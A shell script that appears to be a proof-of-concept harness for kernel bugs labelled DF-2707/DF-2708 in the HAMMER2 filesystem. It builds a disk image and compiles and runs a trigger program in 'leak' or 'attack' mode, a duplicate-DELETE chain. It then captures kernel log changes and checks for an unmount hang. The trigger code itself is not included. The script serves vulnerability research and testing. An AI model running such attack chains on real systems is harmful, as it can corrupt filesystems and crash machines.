#!/bin/sh
# DF-2707 guest-side run: image prep + build + attack + capture.
# Run as root on the guest:  sh /root/poc/df2707/run_df2707.sh [mode] [rounds] [ndel]
#   mode=leak   -> DF-2708 evidence only (stock kernel, clean exit)
#   mode=attack -> DF-2707 duplicate-DELETE chain
set -x
D=/root/poc/df2707
MODE=${1:-attack}
mkdir -p $D
vnconfig -u vn0 2>/dev/null
[ -f $D/img ] || { dd if=/dev/zero of=$D/img bs=1m count=128 2>/dev/null; }
vnconfig -c vn0 $D/img
newfs_hammer2 -L testvol /dev/vn0 > $D/newfs.log 2>&1 || { cat $D/newfs.log; vnconfig -u vn0; exit 1; }
mkdir -p /mnt/h2poc

cc -O -I/usr/src/sys -o $D/df2707_trigger $D/df2707_trigger.c > $D/cc.log 2>&1 || { cat $D/cc.log; exit 1; }

dmesg > $D/dmesg.before
$D/df2707_trigger $MODE ${2:-3} ${3:-24} > $D/trigger.out 2>&1
echo "TRIGGER_RC=$?"
sleep 1
dmesg > $D/dmesg.after

echo "=== trigger stdout ==="
cat $D/trigger.out
echo "=== new kdmsg/hammer2 console lines ==="
diff $D/dmesg.before $D/dmesg.after | grep '^>' | head -60
echo "=== leak cross-check (DF-2708) ==="
grep 'volconf update' $D/dmesg.after | tail -4
echo "=== unmount attempt (hang => corrupted teardown) ==="
umount /mnt/h2poc
echo "UMOUNT_RC=$?"
vnconfig -u vn0 2>/dev/null
echo RUN_DF2707_DONE